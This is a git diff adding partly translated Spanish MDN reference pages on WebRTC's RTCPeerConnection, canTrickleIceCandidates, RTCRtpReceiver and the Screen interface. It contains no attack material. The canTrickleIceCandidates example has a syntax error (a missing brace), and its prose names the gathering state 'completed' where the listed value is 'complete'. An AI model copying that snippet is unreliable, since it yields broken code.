+<p><span class="seoSummary">La propiedad <strong>{{domxref("RTCPeerConnection")}}</strong> es de solo lectura <code><strong>canTrickleIceCandidates</strong></code>  , </span>devuelve un <span class="seoSummary"> {{jsxref("Boolean")}} que indica si el par remoto puede aceptar o no <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">candidatos ICE</a>.</span></p>
+
+<p><strong>ICE trickling</strong> is the process of continuing to send candidates after the initial offer or answer has already been sent to the other peer.</p>
+
+<p>This property is only set after having called {{domxref("RTCPeerConnection.setRemoteDescription()")}}.  Ideally, your signaling protocol provides a way to detect trickling support, so that you don't need to rely on this property. A WebRTC browser will always support trickle ICE. If trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} changes to <code>"completed"</code> before creating and sending the initial offer. That way, the offer contains all of the candidates.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{jsxref("Boolean")}} that is <code>true</code> if the remote peer can accept trickled ICE candidates and <code>false</code> if it cannot. If no remote peer has been established, this value is <code>null</code>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This property's value is determined once the local peer has called {{domxref("RTCPeerConnection.setRemoteDescription()")}}; the provided description is used by the ICE agent to determine whether or not the remote peer supports trickled ICE candidates.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+  .then(_ =&gt; pc.createAnswer())
+  .then(answer =&gt; pc.setLocalDescription(answer))
+  .then(_ =&gt;
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r =&gt; {
+      pc.addEventListener('icegatheringstatechange', e =&gt; {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer =&gt; sendAnswerToPeer(answer)) // signaling message
+  .catch(e =&gt; handleError(e));
+
+pc.addEventListener('icecandidate', e =&gt; {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // signaling message
+  }
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-cantrickleicecandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.addIceCandidate()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/es/web/api/rtcpeerconnection/index.html b/files/es/web/api/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..8a902d3ab5
--- /dev/null
+++ b/files/es/web/api/rtcpeerconnection/index.html
@@ -0,0 +1,444 @@
+---
+title: RTCPeerConnection
+slug: Web/API/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection
+---
+<p>{{APIRef('WebRTC')}}{{draft}}</p>
+
+<p><span class="seoSummary">La interfaz <strong><code>RTCPeerConnection</code></strong> representa una conexión WebRTC entre un computador local y un par remoto (otro computador). Esta interfaz provee métodos para: conectar un equipo remoto (remote peer), mantener y monitorear esa coneexión y cerrar la conexión una vez que no se necesite más.</span></p>
+
+<div class="note">
+<p><code>RTCPeerConnection</code> y {{domxref("RTCSessionDescription")}} aún están prefijados en algunos navegadores. Se <strong>recomienda encarecidamente </strong>usar una librería de ajuste (shim) como la excelente y ampliamente soportada <a href="https://github.com/webrtc/adapter/">Adapter.js</a>, para asegurar la compatibilidad más amplia posible de su sitio o aplicación web. <span id="result_box" lang="es"><span>Vale la pena señalar que </span></span><a href="https://github.com/webrtc/adapter/">Adapter.js</a><span lang="es"><span> va más allá del manejo de prefijos, esta librería implementa ajustes (shims) para asegurar la compatibilidad entre las distintas implementaciones de WebRTC de los distintos navegadores.</span></span></p>
+</div>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p>{{InterfaceOverview("WebRTC")}}</p>
+
+<h3 id="Método_obsoleto">Método obsoleto</h3>
+
+<p>El siguiente método fue declarado obsoleto ya hace un tiempo, admás, nunca fue implementado en los navegadores más importantes.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
+ <dd>Crea un nuevo {{domxref("RTCDTMFSender")}}, que se asocia a un {{domxref("MediaStreamTrack")}} específico, that will be able to send {{Glossary("DTMF")}} phone signaling over the connection.</dd>
+</dl>
+
+<h2 id="Constantes">Constantes</h2>
+
+<h3 id="RTCBundlePolicy_enum">RTCBundlePolicy enum</h3>
+
+<p>The <code>RTCBundlePolicy</code> enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> for bundling multiple media streams on a single transport link.</p>
+
+<div class="note">
+<p>In technical terms, a BUNDLE lets all media flow between two peers flow across a single <strong>5-tuple</strong>; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"balanced"</code></td>
+   <td>On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.</td>
+  </tr>
+  <tr>
+   <td><code>"max-compat"</code></td>
+   <td>The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.</td>
+  </tr>
+  <tr>
+   <td><code>"max-bundle"</code></td>
+   <td>The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceConnectionState_enum">RTCIceConnectionState enum</h3>
+
+<p>The <code>RTCIceConnectionState</code> enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).</td>
+  </tr>
+  <tr>
+   <td><code>"checking"</code></td>
+   <td>The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.</td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.</td>
+  </tr>
+  <tr>
+   <td><code>"completed"</code></td>
+   <td>The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than <code>"failed"</code> and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the <code>"connected"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceGatheringState_enum">RTCIceGatheringState enum</h3>
+
+<p>The <code>RTCIceGatheringState</code> enum defines string constants which reflect the current status of ICE gathering, as returned using the {{domxref("RTCPeerConnection.iceGatheringState")}} property. You can detect when this value changes by watching for an event of type {{event("icegatheringstatechange")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>The peer connection was just created and hasn't done any networking yet.</td>
+  </tr>
+  <tr>
+   <td><code>"gathering"</code></td>
+   <td>The ICE agent is in the process of gathering candidates for the connection.</td>
+  </tr>
+  <tr>
+   <td><code>"complete"</code></td>
+   <td>The ICE agent has finished gathering candidates. If something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ICE server, the state will revert to "gathering" to gather those candidates.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCIceTransportPolicy_enum">RTCIceTransportPolicy enum</h3>
+
+<p>The <code>RTCIceTransportPolicy</code> enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"all"</code></td>
+   <td>All ICE candidates will be considered.</td>
+  </tr>
+  <tr>
+   <td><code>"public" </code>{{obsolete_inline}}</td>
+   <td>Only ICE candidates with public IP addresses will be considered. <em>Removed from the specification's May 13, 2016 working draft.</em></td>
+  </tr>
+  <tr>
+   <td><code>"relay"</code></td>
+   <td>Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p>The <code>RTCPeerConnectionState</code> enum defines string constants which describe states in which the <code>RTCPeerConnection</code> may be. These values are returned by the {{domxref("RTCPeerConnection.connectionState", "connectionState")}} property. This state essentially represents the aggregate state of all ICE transports (which are of type {{domxref("RTCIceTransport")}} or {{domxref("RTCDtlsTransport")}}) being used by the connection.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>At least one of the connection's ICE transports ({{domxref("RTCIceTransport")}}s or {{domxref("RTCDtlsTransport")}}s) are in the <code>"new"</code> state, and none of them are in one of the following states: <code>"connecting"</code>, <code>"checking"</code>, <code>"failed"</code>, or <code>"disconnected"</code>, <em>or</em> all of the connection's transports are in the <code>"closed"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"connecting"</code></td>
+   <td>One or more of the ICE transports are currently in the process of establishing a connection; that is, their <code>RTCIceConnectionState</code> is either <code>"checking"</code> or <code>"connected"</code>, and no transports are in the <code>"failed"</code> state. <strong>&lt;&lt;&lt; Make this a link once I know where that will be documented</strong></td>
+  </tr>
+  <tr>
+   <td><code>"connected"</code></td>
+   <td>Every ICE transport used by the connection is either in use (state <code>"connected"</code> or <code>"completed"</code>) or is closed (state <code>"closed"</code>); in addition, at least one transport is either <code>"connected"</code> or <code>"completed"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"disconnected"</code></td>
+   <td>At least one of the ICE transports for the connection is in the <code>"disconnected"</code> state and none of the other transports are in the state <code>"failed"</code>, <code>"connecting"</code>, or <code>"checking"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"failed"</code></td>
+   <td>One or more of the ICE transports on the connection is in the <code>"failed"</code> state.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code></td>
+   <td>
+    <p>The <code>RTCPeerConnection</code> is closed.</p>
+
+    <p>This value was in the <a href="#RTCSignalingState_enum"><code>RTCSignalingState</code> enum</a> (and therefore found by reading the value of the {{domxref("RTCPeerConnection.signalingState", "signalingState")}}) property until the May 13, 2016 draft of the specification.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCRtcpMuxPolicy_enum">RTCRtcpMuxPolicy enum</h3>
+
+<p>The <code>RTCRtcpMuxPolicy</code> enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. <strong>&lt;&lt;&lt;add a link to info about multiplexed RTCP.</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"negotiate"</code></td>
+   <td>Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately.</td>
+  </tr>
+  <tr>
+   <td><code>"require"</code></td>
+   <td>Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RTCSignalingState_enum">RTCSignalingState enum</h3>
+
+<p>The <code>RTCSignalingState</code> enum specifies the possible values of {{domxref("RTCPeerConnection.signalingState")}}, which indicates where in the process of signaling the exchange of offer and answer the connection currently is.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constant</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"stable"</code></td>
+   <td>There is no ongoing exchange of offer and answer underway. This may mean that the {{domxref("RTCPeerConnection")}} object is new, in which case both the {{domxref("RTCPeerConnection.localDescription", "localDescription")}} and {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} are <code>null</code>; it may also mean that negotiation is complete and a connection has been established.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-offer"</code></td>
+   <td>The local peer has called {{domxref("RTCPeerConnection.setLocalDescription()")}}, passing in SDP representing an offer (usually created by calling {{domxref("RTCPeerConnection.createOffer()")}}), and the offer has been applied successfully.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-offer"</code></td>
+   <td>The remote peer has created an offer and used the signaling server to deliver it to the local peer, which has set the offer as the remote description by calling {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td>
+  </tr>
+  <tr>
+   <td><code>"have-local-pranswer"</code></td>
+   <td>The offer sent by the remote peer has been applied and an answer has been created (usually by calling {{domxref("RTCPeerConnection.createAnswer()")}}) and applied by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. This provisional answer describes the supported media formats and so forth, but may not have a complete set of ICE candidates included. Further candidates will be delivered separately later.</td>
+  </tr>
+  <tr>
+   <td><code>"have-remote-pranswer"</code></td>
+   <td>A provisional answer has been received and successfully applied in response to an offer previously sent and established by calling <code>setLocalDescription()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code> {{obsolete_inline}}</td>
+   <td>
+    <p>The connection is closed.</p>
+
+    <div class="note">
+    <p>This value moved into the <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code> enum</a> in the May 13, 2016 draft of the specification, as it reflects the state of the <code>RTCPeerConnection</code>, not the signaling connection. You now detect a closed connection by checking for {{domxref("RTCPeerConnection.connectionState", "connectionState")}} to be <code>"closed"</code> instead.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(56)}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(22)}}<br>
+    {{property_prefix("-moz")}} until Firefox 44</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>addTrack()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(45) }} <sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>iceConnectionState</code>: <code>disconnected</code></td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onicegatheringstatechange</code></td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>removeTrack()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatVersionUnknown }}[2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(56)}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(56)}} (unprefixed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(22)}}<br>
+    {{property_prefix("-moz")}} until Firefox 44</td>
+   <td>22</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>addTrack()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(45) }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>iceConnectionState</code>: <code>disconnected</code></td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatChrome(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onicegatheringstatechange</code></td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>removeTrack()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Firefox 49, the specified track was required to be component of all passed {{domxref("MediaStream")}}s. Starting in Firefox 49, this is no longer the case. See {{bug(1271669)}} for specifics.</p>
+
+<p>[2] Firefox currently removes the {{domxref("RTCRtpSender")}} from the list of senders as reported by {{domxref("RTCPeerConnection.getSenders()")}}. This was correct in earlier versions of the specification, but no longer is. See {{bug(1290949)}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/es/web/api/rtcrtpreceiver/index.html b/files/es/web/api/rtcrtpreceiver/index.html
new file mode 100644
index 0000000000..0944e1d163
--- /dev/null
+++ b/files/es/web/api/rtcrtpreceiver/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCRtpReceiver
+slug: Web/API/RTCRtpReceiver
+translation_of: Web/API/RTCRtpReceiver
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">La interfaz <strong><code>RTCRtpReceiver</code></strong> de la <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> </span>gestiona la recepción y decodificación de los datos para una<span class="seoSummary"> {{domxref("MediaStreamTrack")}} a una {{domxref("RTCPeerConnection")}}.</span></p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("RTCRtpReceiver.track")}} {{readonlyinline}}</dt>
+ <dd>Devuelve el {{domxref("MediaStreamTrack")}} asociado con la instancia actual de <code>RTCRtpReceiver</code></dd>
+ <dt>{{domxref("RTCRtpReceiver.rtcpTransport")}} {{readonlyinline}}</dt>
+ <dd>Devuelve la instancia {{domxref("RTCDtlsTransport")}} en la que se envía y se recibe el RTCP.</dd>
+ <dt>{{domxref("RTCRtpReceiver.transport")}} {{readonlyinline}}</dt>
+ <dd>Devuelve la instancia {{domxref("RTCDtlsTransport")}} en la que se reciben los medios para la pista del receptor.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("RTCRtpReceiver.getContributingSources()")}}</dt>
+ <dd>Devuelve un array de instancia {{domxref("RTCRtpContributingSource")}} para cada identificador CSRC (fuente contribuyente) identificador recibido actual <code>RTCRtpReceiver</code> en los últimos 10 segundos.</dd>
+ <dt>{{domxref("RTCRtpReceiver.getParameters()")}} </dt>
+ <dd>Devuelve un objeto <code>RTCRtpParameters</code> que contiene información sobre cómo se van a decodificar los datos de RTC.</dd>
+ <dt>{{domxref("RTCRtpReceiver.getStats()")}}</dt>
+ <dd>Devuelve un {{jsxref("Promise")}} cuyo controlador de cumplimiento recibe un<br>
+ {{domxref("RTCStatsReport")}} que contiene estadísticas sobre los flujos entrantes y sus dependencias.</dd>
+ <dt>{{domxref("RTCRtpReceiver.getSynchronizationSources()")}} </dt>
+ <dd>Devuelve un arreglo que incluye una instancia {{domxref("RTCRtpSynchronizationSource")}} para cada identificador SSRC (fuente de sincronización) único recibido por el <code>RTCRtpReceiver</code> actual en los últimos diez segundos.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt>{{domxref("RTCRtpReceiver.getCapabilities()")}}</dt>
+ <dd>Devuelve la visión más optimista de las capacidades del sistema para recibir medios de comunicación del tipo dado.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0','#rtcrtpreceiver-interface','RTCRtpReceiver')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+
+
+<p>{{Compat("api.RTCRtpReceiver")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("RTCStatsReport")}}</li>
+ <li>{{domxref("RTCRtpSender")}}</li>
+ <li>{{domxref("RTCPeerConnection.getStats()")}}</li>
+</ul>
diff --git a/files/es/web/api/screen/index.html b/files/es/web/api/screen/index.html
new file mode 100644
index 0000000000..0d5e87f9c9
--- /dev/null
+++ b/files/es/web/api/screen/index.html
@@ -0,0 +1,89 @@
+---
+title: Screen
+slug: Web/API/Screen
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>La interfaz <code>Screen</code> representa una pantallaa, usualmente la misma donde la ventana actual está siendo visualizada.</p>
+
+<p>Usualmente es también la única en la que la ventana actual está siendo visualizada, obtenida utilizando <code>window.screen</code>.</p>
+
+<h2 id="Example" name="Example">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Especifica la coordenada-y del primer pixel que no está asignado a prestaciones permanentes o semipermanentes de la interfaz de usuario.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Retorna el primer pixel disponible desde el border izquierdo de la pantalla.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>Especifica la altura de la pantalla, en pixels, menos la altura de los elementos permanentes o semipermanentes de la interfaz de usuario visualizados por el sistema operativo, como la barra de tareas de Windows.</dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Retorna el total de espacio horizontal en pixels disponibles para la ventana.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Retorna la profundidad de color de la pantalla.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Retorna la altura de la pantalla en pixels.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Retorna la distancia en pixels desde el borde izquierdo de la pantalla principal al borde izquierdo de la pantalla actual.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Retorna la orientación actual de la pantalla.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Obtiene la profundidad de bits de la pantalla.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Retorna la distancia en pixels desde el borde supierior de la pantalla principal al border superior de la pantalla actual.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Retorna la anchura de la pantalla.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Booleano. Estableciendo su valor a false desactivará el dispositivo de pantalla.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Controla el brillo del dispositivo de pantalla. Espera un valor doble-precisión entre 0 y 1.0.</dd>
+</dl>
+
+<h3 id="Manejador_de_eventos">Manejador de eventos</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>Un manejador para los eventos {{event("orientationchange")}}.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Bloquea la orientación de pantalla (sólo funciona en pantalla completa o para apps instaladas)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Desbloquea la orientación de pantalla (sólo funciona en pantalla completa o para apps instaladas)</dd>
+</dl>
+
+<p>Métodos heredados de {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // usa versión low-color de la página
+} else {
+  // usa versión regular, a todo color de la página
+}
